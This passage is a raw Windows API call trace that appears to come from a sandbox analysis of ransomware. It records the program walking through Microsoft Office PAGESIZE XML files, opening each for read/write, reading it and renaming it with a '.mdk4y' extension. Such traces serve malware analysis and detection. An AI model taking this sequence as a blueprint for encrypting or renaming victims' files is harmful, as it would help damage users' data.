lpPerformanceCount=0x37dee4*=1831017300000) returned 1 [0234.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831017300000) returned 1 [0234.943] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn089.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN089.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn089.xml.mdk4y")) returned 1 [0234.945] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.945] AreFileApisANSI () returned 1 [0234.945] GetACP () returned 0x4e4 [0234.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN090.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN090.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.945] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831017700000) returned 1 [0234.947] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa246, lpOverlapped=0x0) returned 1 [0234.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831020400000) returned 1 [0234.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831020400000) returned 1 [0234.975] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml.mdk4y")) returned 1 [0234.976] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.976] AreFileApisANSI () returned 1 [0234.976] GetACP () returned 0x4e4 [0234.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN092.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN092.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.976] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831020800000) returned 1 [0234.978] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfe8, lpOverlapped=0x0) returned 1 [0234.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831022100000) returned 1 [0234.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831022100000) returned 1 [0234.991] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml.mdk4y")) returned 1 [0234.993] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0234.993] AreFileApisANSI () returned 1 [0234.993] GetACP () returned 0x4e4 [0234.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN095.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN095.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0234.993] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0234.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831022400000) returned 1 [0234.994] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7aa, lpOverlapped=0x0) returned 1 [0235.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831026300000) returned 1 [0235.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831026300000) returned 1 [0235.033] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml.mdk4y")) returned 1 [0235.035] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0235.035] AreFileApisANSI () returned 1 [0235.035] GetACP () returned 0x4e4 [0235.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN096.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN096.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0235.035] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0235.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831026600000) returned 1 [0235.036] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x77c, lpOverlapped=0x0) returned 1 [0235.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831029400000) returned 1 [0235.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831029400000) returned 1 [0235.065] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml.mdk4y")) returned 1 [0235.066] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0235.067] AreFileApisANSI () returned 1 [0235.067] GetACP () returned 0x4e4 [0235.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN097.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN097.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0235.067] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0235.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831029800000) returned 1 [0235.068] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11424, lpOverlapped=0x0) returned 1 [0235.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831029900000) returned 1 [0235.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831029900000) returned 1 [0235.070] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml.mdk4y")) returned 1 [0235.072] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0235.072] AreFileApisANSI () returned 1 [0235.072] GetACP () returned 0x4e4 [0235.072] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN102.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN102.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0235.072] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn102.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0235.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831030300000) returned 1 [0235.073] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8864, lpOverlapped=0x0) returned 1 [0235.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831034800000) returned 1 [0235.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831034800000) returned 1 [0235.119] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn102.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn102.xml.mdk4y")) returned 1 [0235.121] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0235.121] AreFileApisANSI () returned 1 [0235.121] GetACP () returned 0x4e4 [0235.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN103.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN103.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0235.121] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0235.122] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831035200000) returned 1 [0235.122] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xde0c, lpOverlapped=0x0) returned 1 [0235.124] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831035400000) returned 1 [0235.124] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831035400000) returned 1 [0235.124] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml.mdk4y")) returned 1 [0235.125] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0235.125] AreFileApisANSI () returned 1 [0235.125] GetACP () returned 0x4e4 [0235.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN105.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN105.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0235.125] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0235.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831035600000) returned 1 [0235.126] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xff4, lpOverlapped=0x0) returned 1 [0235.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831037100000) returned 1 [0235.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831037100000) returned 1 [0235.142] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml.mdk4y")) returned 1 [0235.143] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0235.143] AreFileApisANSI () returned 1 [0235.143] GetACP () returned 0x4e4 [0235.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN107.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN107.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0235.143] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0235.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831037500000) returned 1 [0235.145] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa5c, lpOverlapped=0x0) returned 1 [0235.224] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831045400000) returned 1 [0235.224] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831045400000) returned 1 [0235.225] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml.mdk4y")) returned 1 [0235.236] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0235.236] AreFileApisANSI () returned 1 [0235.237] GetACP () returned 0x4e4 [0235.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN108.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN108.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0235.237] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0235.238] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831046800000) returned 1 [0235.238] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x34d8, lpOverlapped=0x0) returned 1 [0235.263] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831049300000) returned 1 [0235.263] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831049300000) returned 1 [0235.264] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml.mdk4y")) returned 1 [0235.265] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0235.265] AreFileApisANSI () returned 1 [0235.265] GetACP () returned 0x4e4 [0235.265] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN109.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN109.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0235.265] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn109.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0235.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831049700000) returned 1 [0235.267] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1aa2, lpOverlapped=0x0) returned 1 [0235.282] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831051200000) returned 1 [0235.282] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831051200000) returned 1 [0235.283] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn109.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn109.xml.mdk4y")) returned 1 [0235.284] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0235.284] AreFileApisANSI () returned 1 [0235.284] GetACP () returned 0x4e4 [0235.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN110.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN110.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0235.284] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn110.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0235.286] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831051700000) returned 1 [0235.288] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcae0, lpOverlapped=0x0) returned 1 [0235.314] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831054400000) returned 1 [0235.314] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831054400000) returned 1 [0235.314] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn110.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn110.xml.mdk4y")) returned 1 [0235.540] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0235.540] AreFileApisANSI () returned 1 [0235.540] GetACP () returned 0x4e4 [0235.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGMN111.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGMN111.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0235.540] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn111.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0235.542] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831077200000) returned 1 [0235.542] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x45792, lpOverlapped=0x0) returned 1 [0235.583] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831081300000) returned 1 [0235.584] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831081300000) returned 1 [0235.586] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn111.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn111.xml.mdk4y")) returned 1 [0235.588] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0235.588] AreFileApisANSI () returned 1 [0235.588] GetACP () returned 0x4e4 [0235.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PG_INDEX.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PG_INDEX.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0235.588] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pg_index.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0235.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831081900000) returned 1 [0235.589] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x878c, lpOverlapped=0x0) returned 1 [0235.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831084300000) returned 1 [0235.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831084300000) returned 1 [0235.613] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pg_index.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pg_index.xml.mdk4y")) returned 1 [0235.615] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0235.615] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 